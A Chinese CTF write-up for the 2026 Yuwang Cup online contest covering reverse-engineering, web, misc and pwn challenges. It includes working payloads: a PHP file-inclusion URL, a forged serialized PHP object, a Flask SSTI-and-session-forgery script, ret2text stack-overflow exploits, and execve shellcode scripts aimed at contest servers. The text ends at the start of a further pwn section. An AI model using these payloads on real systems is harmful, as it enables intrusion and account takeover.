2026第十届御网杯网络安全挑战赛线上赛wp
包含除了ecb这道题目以外的全部题解,仅供参考
2026御网杯线上挑战赛WriteUp(AK)
==By Narcissu战队==.
感谢队友带我飞 :grinning:。
注:为想复盘的师傅提供可参考的思路。本wp除了密码ECB题目无法爆破求解没有给出wp外其余题目均已覆盖。仅供学习交流。
[toc]
//图片链接加载不了的去下载附件看。
Reverse
(一)CrackMe_1_3.apk
题目截图

解题思路
1. 文件格式分析
拿到题目,是个apk文件,用JEB定位主函数MainActivity,发现校验逻辑是藏在native层的libmyapplication.so库。这里基本是干扰项。
libmyapplication.so
定义了 4 个校验方法,分别调用不同的 native 函数:
a() → NativeBridge.c()
aaa() → NativeBridge.cd()
bbbb() → NativeBridge.dc()
bc() → NativeBridge.ab()
这里abc函数基本是干扰项。

只有 this.binding.btnVerify.setOnClickListener((View v) -\>
this.a(v));是真正的校验。
2. IDA静态
解压apk文件,提取so库,然后拖入IDA中静态分析

导出表里能看到:
Java_com_cr_myapplication_MainActivity_stringFromJNI(@0x24a00)------
反编译发现只是返回"Hello from C++",干扰项。JNI_OnLoad(@0x24f80)------ 真正入口。
跟进 JNI_OnLoad → 调 sub_25070:
Class = FindClass(env, "com/cr/myapplication/NativeBridge");
RegisterNatives(env, Class, off_57214, 3); // 注册 3 个方法读 off_57214 这个 JNINativeMethod[3](每项 3 个指针):
name | signature | fnPtr |
|
|
|
|
|
|
|
|
|
签名 (Ljava/lang/String;)Z(String→boolean)的 c 就是校验函数。



校验函数逻辑
StringUTFChars = GetStringUTFChars(input); // 取输入字符串
build std::string obj(StringUTFChars);
data = obj.c_str(); len = obj.size();
sub_257A0(obj_1, data, len); // ★核心变换:返回字节数组
sub_27590(obj_2, obj_1); // 把字节数组转成 hex 字符串
for (i = 0; i < 8; i++) // sub_27750() 恒返回 8
if (sub_27760(obj_2, &string_array[i])) // 与第 i 个目标串比较
return 1; // 命中任一即通过
return 0;sub_27590是 bytes→hex :查表byte_F371 = "0123456789abcdef"(小写),每字节push_back(table[b>>4]); push_back(table[b&0xF])。sub_27760是字符串比较。- 目标是个
std::array<std::string,8>,地址0x5A1CC。
3. 核心变换 ChaCha20
sub_257A0:
sub_25AF0(out, len); // 分配 len 字节输出
counter = 1; // ★ 计数器从 1 开始
for (i = 0; i < len; i += n) {
sub_26D20(key_ptr, counter++, nonce_ptr, block); // 生成 64 字节 keystream
n = min(64, len - i);
for (j = 0; j < n; j++)
out[i+j] = block[j] ^ data[i+j]; // 明文 XOR keystream
}典型的 64 字节分块、计数器逐块自增的流密码。再看 keystream 生成器sub_26D20:
memcpy(state, "expand 32-byte k", 16); // ← ChaCha 魔数
state[4..11] = key (32 字节, 小端) // 来自 key_ptr = &unk_F345
state[12] = counter
state[13..15] = nonce (12 字节, 小端) // 来自 nonce_ptr = &unk_F365
for (i = 0; i < 10; i++) { // 10 次双轮 = 20 轮
QR(0,4,8,12); QR(1,5,9,13); QR(2,6,10,14); QR(3,7,11,15); // 列轮
QR(0,5,10,15);QR(1,6,11,12);QR(2,7,8,13); QR(3,4,9,14); // 对角轮
}
for (j=0;j<16;j++) out[j] = state[j] + init[j];quarter-round sub_27200 旋转量 16 / 12 / 8 / 7,字读写sub_271C0/sub_27310 为小端。→ 这就是标准 ChaCha20(RFC 8439),唯一"非标"是块计数器从 1
开始(不是 0)。

4. 解密
校验逻辑:hex(ChaCha20_XOR(flag)) == target_hex。由于 XOR 流密码自反(同 key/nonce/counter),所以:
flag = ChaCha20_keystream(counter=1) XOR unhex(target_hex)
import struct
def rotl(x, n): return ((x << n) & 0xffffffff) | (x >> (32 - n))
def qr(s, a, b, c, d):
s[a]=(s[a]+s[b])&0xffffffff; s[d]^=s[a]; s[d]=rotl(s[d],16)
s[c]=(s[c]+s[d])&0xffffffff; s[b]^=s[c]; s[b]=rotl(s[b],12)
s[a]=(s[a]+s[b])&0xffffffff; s[d]^=s[a]; s[d]=rotl(s[d],8)
s[c]=(s[c]+s[d])&0xffffffff; s[b]^=s[c]; s[b]=rotl(s[b],7)
def block(key, counter, nonce):
const = b"expand 32-byte k"
s = list(struct.unpack('<4I', const))
s += list(struct.unpack('<8I', key))
s += [counter]
s += list(struct.unpack('<3I', nonce))
w = list(s)
for _ in range(10):
qr(w,0,4,8,12); qr(w,1,5,9,13); qr(w,2,6,10,14); qr(w,3,7,11,15)
qr(w,0,5,10,15); qr(w,1,6,11,12); qr(w,2,7,8,13); qr(w,3,4,9,14)
out = [(w[i]+s[i]) & 0xffffffff for i in range(16)]
return struct.pack('<16I', *out)
def chacha20(key, nonce, data, counter=1):
res = bytearray(); ctr = counter
for i in range(0, len(data), 64):
ks = block(key, ctr, nonce); ctr += 1
res += bytes(c ^ k for c, k in zip(data[i:i+64], ks))
return bytes(res)
key = bytes([0x14,0x92,0x63,0xa1,0x6f,0x2d,0x89,0xcb,0xf0,0x37,0x5b,0x1c,0xa9,0x4e,0x78,0xd3,
0x22,0x60,0x17,0xee,0x9a,0xbc,0x4d,0x08,0x53,0xe1,0x76,0x2a,0x8d,0xc4,0x90,0x3f])
nonce = bytes([0x44,0x33,0x22,0x11,0xab,0xcd,0xef,0x66,0x88,0x99,0xaa,0x55])
target_hex = ("d097c3f6d229da23ab72ad35ebe681988a148d2771f1b894c4405595c7587d19"
"8378a5c2fb9d3bf80e91eb018dc396042a72ef33d01bf01bb2c32b3abb245620"
"799d36adc57c")
flag = chacha20(key, nonce, bytes.fromhex(target_hex), counter=1)
print(flag.decode())
flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}
(二)CrackMe_2_2.apk
题目截图

解题思路
1. 文件格式分析
拿到题目,apk框架。扔JEB里面找到主函数进行反编译。看逻辑

public static native boolean verifyFlag(String arg0) {}这个 native 方法 在整个 MainActivity 里从未被调用。
onCreate 只调了 b()
所有真正的逻辑都集中在 b() 方法里。
b() 在做什么?------ 动态加载 dex
结论:真正的输入框、校验按钮、校验逻辑全部都在 classes3.dex 里的com.cr.test.wide 类中。
2. 校验逻辑
定位JEB里面的classes3.dex函数。看真正的校验逻辑

发现校验最终落在 libcrackme2.so 的Java_com_cr_crackme2_MainActivity_verifyFlag层
3. 调试so库
解压apk文件IDA调试so库,定位校验函数


看懂 verifyFlag(0x240f0)
input = GetStringUTFChars(jstr);
len = strlen(input);
ptr = sub_24440(input, len, &size); // ① PKCS#7 填充
ptr_1 = malloc(size);
des_ecb_encrypt(ptr, size, "12345678", ptr_1); // ② DES-ECB 加密 → ptr_1
bytesToHex(v10, ptr, len_blocks); // ③ 对【ptr】做 hex(注意是明文!)
sub_23DC0(v10);
for (i = 0; i < 1; i++)
if (sub_24510(&byte_58010[12*i], v10)) // ④ 与目标串比较
v6 = 1; // 通过
free(ptr); free(ptr_1);
return v6;逐个看子函数:
① sub_24440 = PKCS#7 填充(块大小 8):
pad = 8 - len % 8; // 1..8
size = len + pad;
out = malloc(size);
memcpy(out, input, len);
for (i = len; i < size; i++) out[i] = pad; // 用 pad 值填充注意:当 len 已是 8 的倍数时,pad = 8,会补满一整块 8 个0x08(标准 PKCS#7 行为)。
② des_ecb_encrypt:把 ptr 用 key "12345678" 做 DES-ECB,输出到ptr_1。
③ bytesToHex(_Z10bytesToHexPhi,签名bytesToHex(unsigned char*, int),返回 std::string):标准
bytes→hex。注意 verifyFlag 的反编译里把长度参数显示丢了,但实际调用是bytesToHex(sret=v10, data=ptr, len),hex 的对象是ptr(填充后的明文),不是 ptr_1(DES 密文)。
④ sub_24510:std::string 比较,把结果与 byte_58010
处目标串比。
2.3 关键陷阱:DES 是幌子
ptr_1(DES 密文)算出来后直接被free,全程没参与任何比较。
也就是说 "12345678" + DES 是纯干扰(red herring)。真正的判定是:
hex( PKCS7_pad(flag) ) == 目标串
怎么验证"hex 的是明文不是密文"?看下一步目标值解码出来是不是 flag{...}
就知道了------如果是明文,解出来直接可读;如果是密文,解出来是乱码。
4. 提取目标值
byte_58010(std::string)静态看是空,找初始化函数 sub_23DF0(被__cxa_atexit 注册):
std::string::basic_string(byte_58010,
"666c61677b484e43544636325244594e54464d5a3154467d0808080808080808");5. 解题思路与脚本
直接对目标 hex 解码,再剥掉 PKCS#7 填充即可:
h = "666c61677b484e43544636325244594e54464d5a3154467d0808080808080808"
b = bytes.fromhex(h)
print(b)
pad = b[-1]
flag = b[:-pad]
print(flag.decode()) 
flag{HNCTF62RDYNTFMZ1TF}
(三)py_obf_10.pyc
题目截图

解题思路
1. 文件格式分析
拿到题目,发现是个pyc文件。使用pycds工具将他转成汇编语言:


2. pyc反汇编
用VSCode打开,发现有些部分字符串乱码。没事直接丢给AI 让它帮我们修复

3. 还原py代码
还原成py代码就是
import base64
def decrypt_flag(encoded_data, key):
decoded = base64.b64decode(encoded_data)
return ''.join(chr(b ^ key) for b in decoded)
def main():
encoded_flag = 'aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly'
xor_key = 15
user_input = input('请输入flag: ').strip()
correct_flag = decrypt_flag(encoded_flag, xor_key)
if user_input == correct_flag:
print('正确!')
return
print('错误!')
if __name__ == '__main__':
main()逻辑超级简单。一遍过的逆向题目。
4. flag:解密
import base64
print(''.join(chr(b ^ 15) for b in base64.b64decode('aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly')))
flag{ddvo0ing-xv38-rr8e-3i27-vyhlqsb08llv}
(四)rerere.exe
题目截图

解题思路
1.查壳
PE 文件,查壳。无壳

项 | 值 |
文件 |
|
架构 | x86-64 PE (image base |
编译器 | GCC (GNU) 15.1.0 / MinGW-w64 |
MD5 |
|
SHA-256 |
|
2.IDA静态分析,字符串查找定位

对字符串 "Input: "(0x140004000)做交叉引用,落在sub_1400014FB(即 main):
sub_1400026F0("Input: ");
fgets(Buffer, 64, stdin);
n = strlen(Buffer);
if (Buffer[n-1] == '\n') { Buffer[n-1] = 0; n--; } // 去掉换行
if (n == 38 && sub_140001480(Buffer, 38))
puts("Correct!");
else
puts("Wrong!");→ flag 长度固定 38,由 sub_140001480 校验。

sub_140001480(Buffer, 38)\:`
for (v2 = 0; v2 < 38; v2++) {
if ( byte_140004060[ Buffer[v2] ^ byte_140004048[v2 & 7] ] != byte_140004020[v2] )
return 0; // Wrong
}
return 1; // Correct
项 | 值 |
文件 |
|
架构 | x86-64 PE (image base |
编译器 | GCC (GNU) 15.1.0 / MinGW-w64 |
MD5 |
|
SHA-256 |
|
3. 加密逻辑
sbox[ input[i] ^ key[i & 7] ] == target[i] (i = 0..37)
4. 解密
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
rerere.exe - reproducible solver
Validation logic (sub_140001480, called from main sub_1400014FB with n=38):
for i in range(38):
if sbox[ input[i] ^ key[i & 7] ] != target[i]:
return WRONG
return CORRECT
target = byte_140004020 (38 bytes)
key = byte_140004048 (8-byte cyclic XOR key)
sbox = byte_140004060 (256-byte substitution table, a full bijection)
Because sbox is a bijection we can invert it uniquely:
input[i] = inv_sbox[ target[i] ] ^ key[i & 7]
"""
# byte_140004020 (38 bytes) - expected sbox outputs
target = [
0xa3,0x5b,0x4c,0x0a,0x0e,0x98,0x84,0xda,0x14,0xe7,0x0b,0x91,0x53,
0x49,0x4f,0xb6,0xa9,0xac,0x0b,0x49,0x14,0x97,0x4f,0xd5,0xb1,0x96,
0x75,0xf6,0x3b,0xa7,0x84,0xc5,0xa9,0xc9,0x06,0x36,0xc6,0x6c,
]
# byte_140004048 (8 bytes) - cyclic XOR key
key = [0xb9,0xcd,0xce,0x30,0xb8,0x61,0x4e,0xaa]
# byte_140004060 (256 bytes) - substitution box
sbox = [
0xc2,0x23,0x97,0x49,0x83,0xf6,0xd3,0xa7,0xeb,0xbf,0x78,0xc3,0x29,0x56,0xd2,0x1a,
0x13,0xbc,0x21,0x6a,0x37,0x8e,0x5f,0x0c,0xb4,0x46,0xde,0xe4,0x6c,0xa2,0x66,0x30,
0x0f,0xa4,0xbb,0x8c,0x09,0x4b,0x3d,0x32,0x42,0x55,0x2d,0x4f,0xf9,0x77,0x1b,0x74,
0x1f,0x71,0x7b,0x9d,0x73,0xc4,0xab,0xd0,0xf3,0xc1,0x88,0x07,0xdc,0xce,0xef,0xc0,
0x72,0x4a,0x27,0x81,0x9b,0xee,0xc7,0x28,0x26,0x5a,0x94,0x54,0x70,0xd1,0xe9,0xc8,
0x98,0x36,0x91,0x41,0xb8,0x3a,0x79,0x0a,0x08,0xe5,0xaf,0x80,0x24,0xae,0x00,0x19,
0xcc,0x7a,0xf7,0x51,0x7d,0x69,0xec,0x03,0x65,0x25,0x1c,0x01,0xf5,0xe6,0xbd,0xd9,
0x59,0xfe,0x92,0xb0,0x10,0x6f,0xf0,0xe3,0x9f,0xad,0x84,0xf4,0xa5,0x33,0x35,0x48,
0x53,0xb1,0xe0,0xd8,0x05,0x38,0x18,0x68,0xa9,0x14,0xc6,0x3f,0x61,0x8a,0x31,0x3b,
0xba,0x2b,0x4e,0xe2,0x57,0x9a,0xf1,0xea,0x64,0x7e,0xa0,0x93,0xb6,0xda,0x60,0x2e,
0x1d,0x5b,0x82,0x34,0x6d,0xfc,0xcf,0x7f,0xe7,0x96,0x67,0x43,0x06,0x44,0xc9,0x4c,
0x40,0xdb,0xfd,0x4d,0xb5,0xed,0x39,0x2c,0xb3,0x17,0x9e,0xcd,0xfa,0x6b,0xca,0x87,
0x8f,0x9c,0x89,0x0e,0x63,0x45,0x86,0xaa,0x5e,0x95,0x16,0xc5,0xd5,0x2f,0xa1,0xf8,
0x99,0xff,0x3c,0x0d,0x3e,0xd4,0x04,0x76,0xd7,0x47,0x20,0x8d,0xdf,0x5c,0x7c,0xa3,
0x1e,0x8b,0x15,0xb9,0xa8,0xcb,0x22,0xa6,0x52,0xd6,0xfb,0x5d,0xdd,0xb2,0x6e,0xe8,
0xf2,0xe1,0x2a,0x58,0x62,0x12,0x11,0x50,0x75,0xb7,0xac,0x90,0x0b,0x85,0x02,0xbe,
]
assert len(sbox) == 256 and len(set(sbox)) == 256, "sbox must be a bijection"
inv = [0] * 256
for i, v in enumerate(sbox):
inv[v] = i
flag = ''.join(chr(inv[target[i]] ^ key[i & 7]) for i in range(38))
# forward re-check exactly as the binary does
assert all(sbox[ord(flag[i]) ^ key[i & 7]] == target[i] for i in range(38))
print(flag)
assert flag == 'flag{1470e2b8be617231cef8d657f4a1cba2}'
Flag: flag{1470e2b8be617231cef8d657f4a1cba2}
Web
(一)OA System Portal
题目截图

解题思路
- 这是一个 PHP 文件包含题,核心代码可通过 php://filter 读出:
module = isset(GETmodule) ? GETmodule :
public_notices.php;
module = str_replace(../, , module);
include(module);
- 问题在于程序只过滤了 ../,没有禁止绝对路径和 PHP stream
wrapper,因此可以读取源码并进一步尝试包含敏感文件。 - 先使用下面的参数读取 index.php 源码:
?module=php://filter/convert.base64-encode/resource=index.php- 源码确认 include(module) 可直接包含用户传入路径后,尝试常见
flag 路径,/flag.txt 命中。 - 最终利用请求如下:
http://47.99.147.34:22508/?module=/flag.txt- 拿到 flag:
flag{486494bb06932e628c595d285df9eae9}
Flag 值截图

(二)WEB-PHP_Payment
题目截图

解题思路
- 分析优惠券接口时发现用户可控数据被直接反序列化:
\$decoded = base64_decode(\$couponData);
\$promo = \@unserialize(\$decoded);- 继续查看 tmp/ctf_src/src/models.php:12,发现 PromoManager
的析构函数会在请求结束时把 promo_credit 加入当前 session 余额:
function \_\_destruct() {
if(isset(\$this-\>promo_credit) && is_numeric(\$this-\>promo_credit)) {
\$\_SESSION\[\'balance\'\] += intval(\$this-\>promo_credit);
}
}tmp/ctf_src/src/buy.php:34\`` 中购买 flag 需要 99999PromoManager 对象,并把
金币,初始余额只有 20。因此只要伪造一个 \\promo_credit` 设置成足够大的数字,就可以在请求结束时自动给当前
session 加钱。- 需要注意余额存在 SESSIONbalance
里,所以领取优惠券和购买 flag 必须使用同一个 PHPSESSID。 - 构造序列化对象:
O:12:\"PromoManager\":2:{s:12:\"promo_credit\";i:100000;s:10:\"promo_code\";s:1:\"x\";}- 对应 Base64:
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ==- 先访问首页获取自己的 PHPSESSID,再用同一个 session 调用
13. \`/api/apply_coupon.php\`:
POST /api/apply_coupon.php HTTP/1.1
Host: 47.99.147.34:28542
Cookie: PHPSESSID=你的session
Content-Type: application/x-www-form-urlencoded
coupon=TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ==- apply_coupon.php 虽然只返回 Coupon processed.,但请求结束时
\`PromoManager::\_\_destruct()\` 会执行,把余额写入 session。
- 再用同一个
session调用 /buy.php 购买 flag:
POST /buy.php HTTP/1.1
Host: 47.99.147.34:28542
Cookie: PHPSESSID=同一个session
Content-Type: application/x-www-form-urlencoded
item=flag- 最终拿到 flag:
flag{4eab66d7fffeba5ede642960f36c0100}
Flag 值截图

(三)WEB-Snake_Game
题目截图

解题思路
- 进入游戏后开启 Burp Suite 抓包,观察提交分数的请求。
- 题目校验点在分数参数上,服务端会根据提交的分数判断是否回显 flag。
- 直接在 Burp Suite 中修改数据包,把提交分数改成大于 300 的数值。
- 放行修改后的请求,页面返回 flag。
Flag 值截图

(四)WEB-TaxSystem_SSTI
题目截图

解题思路
- 阅读源码,
\ctf_vam/SRC/init_db.py:36` 写死了账号密码:
admin / 123456
- ctf_vam/SRC/app.py:53 的 /api/import 允许当前用户更新
state、custom_footer 等字段,但没有做状态流转校验。 - ctf_vam/SRC/app.py:79 中,只要 profile 的 state ==
AUDIT_PENDING,就会把 custom_footer 直接拼进
template_html,再交给 render_template_string() 渲染,形成
SSTI。 - 黑名单拦截了
、、引号、request、session、system
等字符串,但 {{config}} 不在黑名单中,并且 Flask
模板上下文默认可以访问 config。 - ctf_vam/SRC/app.py:160 的 /admin/vault 只检查
sessionrole == tax_inspector。因此拿到真实
SECRET_KEY 后,即可伪造 Flask session 访问后台金库。 - 先用源码中的账号登录:
admin / 123456
- 调用 /api/create_profile 创建自己的档案。
- 调用 /api/import,把该 profile 改成待审计状态并写入 SSTI
payload:
{
state: AUDIT_PENDING,
custom_footer: {{config}}
}
- 访问 /preview/profile_id,页面回显 Flask 配置,获取远端真实
SECRET_KEY:
secret_tax_key_2026_xoxo
- 注意远端真实 key 和本地 ctf_vam/SRC/config.py:4 的默认 key
不一样,不能直接使用源码默认值伪造。 - 使用泄露出来的 SECRET_KEY 伪造 session:
{user_id: 1, role: tax_inspector}
- 带着伪造后的 session cookie 访问 /admin/vault,拿到 flag。
- 利用脚本如下:
import re
import html
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
BASE = \"http://120.27.146.76:12426\"
s = requests.Session()
\# 1. 登录
s.post(BASE + \"/login\", data={
\"username\": \"admin\",
\"password\": \"123456\"
}, timeout=8)
\# 2. 创建 profile
s.post(BASE + \"/api/create_profile\", timeout=8)
\# 3. 拿最新 profile_id
dash = s.get(BASE + \"/dashboard\", timeout=8).text
pid = max(map(int, re.findall(r\"/preview/(\\d+)\", dash)))
\# 4. 写入 SSTI
s.post(BASE + \"/api/import\", json={
\"profile_id\": pid,
\"data\": {
\"state\": \"AUDIT_PENDING\",
\"custom_footer\": \"{{config}}\"
}
}, timeout=8)
\# 5. 读取真实 SECRET_KEY
preview = html.unescape(s.get(f\"{BASE}/preview/{pid}\",
timeout=8).text)
secret = re.search(r\"\'SECRET_KEY\': \'(\[\^\'\]+)\'\",
preview).group(1)
print(\"\[+\] SECRET_KEY =\", secret)
\# 6. 伪造 tax_inspector session
app = Flask(\_\_name\_\_)
app.secret_key = secret
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = serializer.dumps({\"user_id\": 1, \"role\": \"tax_inspector\"})
print(\"\[+\] forged session =\", cookie)
\# 7. 访问金库拿 flag
r = requests.get(BASE + \"/admin/vault\", cookies={\"session\": cookie},
timeout=8)
flag = re.search(r\"flag\\{\[\^}\]+\\}\", r.text).group()
print(\"\[+\] flag =\", flag)- 最终拿到 flag:
flag{8fe0832554e14a96448f6aa57257ffc6}
Flag 值截图

Misc
(一)签到题-损坏的压缩包
题目截图

解题思路
压缩包解压出来一个txt文件,里面是一个类似于base64的密文,赛博厨子解码

获取 flag
flag{fkvl}
(二)幻影
题目截图

解题思路
解压拿到data.bin,010打开可以清晰看到RAR的文件头,但只有头,后面是单纯的文本信息

从文本可以得到提示,flag进行了异或和base64加密,下面的真flag就是base64加密结果,因为没有给出异或的密钥,我们解base64后,尝试写脚本爆破。
import base64
enc = "p62gprr28vjy8/P09OynoPWj7PXz9fPso6L29uzw8/ny8/Wl9veloPe8"
raw = base64.b64decode(enc)
for key in range(256):
dec = bytes(b ^ key for b in raw)
if dec.startswith(b"flag{"):
print("key =", hex(key), key)
print(dec.decode())
break
得到异或密钥0xc1和flag。
获取 flag
flag{73932255-fa4b-4242-bc77-128324d76da6}
(三)迷宫
题目截图

解题思路
多层压缩包嵌套,但没有套太多,第四层就拿到vault.bin了

010打开就是一段base64,解码拿到flag


获取 flag
flag{e622093e1bbe5aacb0ce77f68d3d7e7d}
(四)像素中的秘密
题目截图

解题思路
解压拿到一张白色png,010打开可以看到完全就是纯白图片,像素相关隐写就不用考虑了

可以确定信息一定在图片末尾额外的数据里

因为题目名为像素中的秘密,我们猜测可能和LCG算法有关。正好数据被分为了三块,我们将00000000和69CB3446尝试作为LCG的seed。在69CB3446作为seed时出现有意义信息。

base62解码16vPI4pqYkxFvJHGGgssbbrGLF7Zqg1YN得到flag

解密脚本
def lcg_xor_decrypt_embedded() -> bytes:
x = 0x69CB3446
cipher = b''.join([
b'\xDC\x5E\xD1\x8A\x38\x28\xBB\xDF\x6C\x7B\x57\x84\x4F\x0E\x9B\x51',
b'\x3A\xDF\xC4\xD9\x63\x0E\xA9\x39\x89\x26\x08\xC8\xB8\xF3\xD2\xBF',
b'\x43\x08\xC7\x7A\x91\xBC\xEB\x4E\x55\xB0\x4F\x62\x59\xE4\xF3\xB6',
b'\x9D\x58\xD7\x4A\x21\x0C\xFB\x1E'])
result = bytearray()
for b in cipher:
x = (1664525 * x + 1013904223) & 0xffffffff
key = x & 0xff
result.append(b ^ key)
return bytes(result)
if __name__ == "__main__":
decrypted = lcg_xor_decrypt_embedded()
print("解密结果 (Hex):", decrypted.hex())
print("解密结果 (Str):", decrypted)获取 flag
flag{final_flag_png_lcg}
Pwn
(一)PWN-Authenticate
题目截图


解题思路
一、题目信息
题目名称 PWN-Authenticate
题目分类 PWN
题目难度 初级
题目分值 200
题目附件 vuln.zip
靶机地址 47.99.147.34:27711
二、保护检查
获取附件后先使用 checksec 查看保护。程序没有 Canary,且 No
PIE,适合通过栈溢出覆盖返回地址并 ret2text。

图 1:checksec 保护信息
三、漏洞定位
login 函数中 Password 输入使用 gets(password),password 位于
rbp-0x80,gets 无长度限制,因此可以覆盖返回地址。

图 2:login 函数中 gets 导致栈溢出
void login() { char password0x80; char username0x40; read(0, username, 0x40); gets(password); }
四、后门函数
程序自带 backdoor 函数,其内部调用 system(/bin/sh)。由于 No
PIE,backdoor 地址固定为 0x4011f6。

图 3:backdoor 函数调用 system(/bin/sh)
五、偏移与 payload
gets 写入起点为 rbp-0x80,返回地址在 rbp+0x8,因此偏移为 0x80 + 8 =
136。为了保证 system 调用时栈对齐,在 backdoor 前加入 ret gadget
0x40101a。

图 4:栈布局和返回地址覆盖偏移

图 5:ret2backdoor payload 链
payload = bA 136 + p64(0x40101a) + p64(0x4011f6)
六、利用脚本
先发送任意 Username,再在 Password 处发送溢出 payload。返回时跳转到
backdoor,获取 shell 后读取 flag。

图 6:核心利用脚本片段
#!/usr/bin/env python3\
from pwn import \*\
\
context(os=\'linux\', arch=\'amd64\', log_level=\'info\')\
\
HOST = \'47.99.147.34\'\
PORT = 27711\
\
ret = 0x40101a\
backdoor = 0x4011f6\
offset = 136\
\
payload = b\'A\' \* offset + p64(ret) + p64(backdoor)\
\
io = remote(HOST, PORT)\
io.sendlineafter(b\'Username: \', b\'test\')\
io.sendlineafter(b\'Password: \', payload)\
\
io.sendline(b\'cat flag\')\
io.interactive()七、获取 flag
运行 exp 后成功进入 shell,执行 cat flag 得到 flag。

图 7:flag 获取结果与时间戳
flag{bda7ca24b316a799200260fa3ca545eb}
八、总结
本题为 ret2text 栈溢出。利用 gets 覆盖返回地址,偏移为 136;程序没有
PIE,backdoor 地址固定为 0x4011f6;加入 ret gadget 0x40101a
完成栈对齐,最终触发 system(/bin/sh)
(二)PWN-MessageBoard
题目截图

解题思路
一、题目信息
题目名称 PWN-MessageBoard
题目分类 PWN
题目难度 初级
题目分值 200
题目附件 vuln.zip
靶机地址 120.27.146.76:10406
二、保护检查
程序无 Canary,No PIE,且栈可执行;结合栈地址泄露,可以直接进行
shellcode 注入。

图 1:checksec 保护信息
三、漏洞定位
vuln 函数打印 buf 地址后,使用 read 读取 0x100 字节到 0x80
字节栈缓冲区,形成栈溢出。

图 2:vuln 函数关键反汇编

图 3:程序输出栈上缓冲区地址
四、偏移计算
buf 位于 rbp-0x80,返回地址位于 rbp+0x8,因此覆盖 saved rip 的偏移为
0x80 + 8 = 136。

图 4:栈布局和返回地址覆盖偏移
五、shellcode 注入
payload 由 NOP sled、execve(/bin//sh) shellcode、填充、fake rbp
和泄露出的 buf 地址组成。

图 5:shellcode 注入利用链

图 6:shellcode 指令逻辑
payload = b\'\\x90\'\*32 + shellcode\
payload = payload.ljust(0x80, b\'A\')\
payload += p64(0xdeadbeefdeadbeef)\
payload += p64(buf_addr)六、利用脚本
脚本解析 Buffer at 泄露值,构造 payload 并发送,随后执行 cat /flag。

图 7:核心利用脚本片段
import re\
import socket\
import struct\
import sys\
import time\
\
HOST = sys.argv\[1\] if len(sys.argv) \> 1 else \"120.27.146.76\"\
PORT = int(sys.argv\[2\]) if len(sys.argv) \> 2 else 10406\
BUF_SIZE = 0x80\
\
SHELLCODE = bytes.fromhex(\
\"4831f65648bf2f62696e2f2f736857545f6a3b58990f05\"\
)\
\
def recv_until(sock, marker, timeout=3.0):\
sock.settimeout(timeout)\
data = b\"\"\
while marker not in data:\
chunk = sock.recv(4096)\
if not chunk:\
break\
data += chunk\
return data\
\
def build_payload(buf_addr):\
payload = b\"\\x90\" \* 32 + SHELLCODE\
payload = payload.ljust(BUF_SIZE, b\"A\")\
payload += struct.pack(\"\<Q\", 0xdeadbeefdeadbeef)\
payload += struct.pack(\"\<Q\", buf_addr)\
return payload\
\
with socket.create_connection((HOST, PORT), timeout=5) as sock:\
banner = recv_until(sock, b\"Message: \")\
print(banner.decode(\"latin1\", \"ignore\"))\
\
match = re.search(rb\"Buffer at: (0x\[0-9a-fA-F\]+)\", banner)\
if not match:\
raise RuntimeError(\"failed to parse leaked buffer address\")\
\
buf_addr = int(match.group(1), 16)\
print(f\"\[+\] leaked buf = {buf_addr:#x}\")\
\
sock.sendall(build_payload(buf_addr))\
time.sleep(0.2)\
sock.sendall(b\"cat /flag\\n\")\
time.sleep(0.5)\
\
sock.settimeout(1.0)\
try:\
while True:\
chunk = sock.recv(4096)\
if not chunk:\
break\
print(chunk.decode(\"latin1\", \"ignore\"), end=\"\")\
except socket.timeout:\
pass七、获取 flag
函数返回后跳转到栈上 shellcode,成功获得 shell 并读取 flag。

图 8:flag 获取结果与时间戳
flag{967b9a20b417271ac0d8fc77a772cf48}
八、总结
本题利用点清晰:程序泄露栈地址,且栈可执行;read 溢出覆盖返回地址后跳回
buf,即可执行栈上 shellcode。偏移为 136,最终读取 /flag。
(三)PWN-NoteService
题目截图


解题思路
一、题目信息
题目名称 PWN-NoteService
题目分类 PWN
题目难度 初级
题目分值 400
题目附件 PWN附件.zip
靶机地址 47.99.147.34:21314
二、保护检查
程序开启 NX,但无 Canary 且 No PIE,可以通过 ret2text
跳转到程序自带后门函数。

图 1:checksec 保护信息
三、漏洞定位
vuln 函数中栈缓冲区只有 0x40 字节,但 read 读取 0x100 字节,造成栈溢出。

图 2:vuln 函数中的 read 栈溢出
void vuln() {\
char buf\[0x40\];\
read(0, buf, 0x100);\
}四、后门函数
secret_note 函数内部调用 system(/bin/sh),地址固定为 0x401196。

图 3:secret_note 函数调用 system(/bin/sh)
五、偏移与 payload
buf 位于 rbp-0x40,返回地址位于 rbp+0x8,因此偏移为 72。加入 ret gadget
0x40101a 进行栈对齐。

图 4:栈布局与覆盖偏移

图 5:ret2text payload 链
payload = bA 72 + p64(0x40101a) + p64(0x401196)
六、利用脚本
发送 payload 覆盖返回地址,跳转到 secret_note,获得 shell 后读取 /flag。

图 6:核心利用脚本片段
from socket import create_connection\
from struct import pack\
import time\
\
host, port = \"47.99.147.34\", 21314\
ret = 0x40101a\
secret_note = 0x401196\
\
payload = b\"A\" \* 72 + pack(\"\<Q\", ret) + pack(\"\<Q\",
secret_note)\
\
s = create_connection((host, port))\
print(s.recv(4096).decode(\"latin1\", \"ignore\"))\
s.sendall(payload)\
time.sleep(0.2)\
s.sendall(b\"cat /flag\\n\")\
time.sleep(0.2)\
print(s.recv(4096).decode(\"latin1\", \"ignore\"))\
s.close()七、获取 flag
脚本执行后成功读取 flag。

图 7:flag 获取结果与时间戳
flag{d9fcee27c6a249b046bfd61de6825aab}
八、总结
本题通过 read 栈溢出覆盖返回地址,利用 No PIE 下固定地址的 secret_note
后门函数完成 ret2text。最终 payload 为 bA72 + p64(0x40101a) +
p64(0x401196)。
(四)PWN-UserManager
题目截图


解题思路
一、题目信息
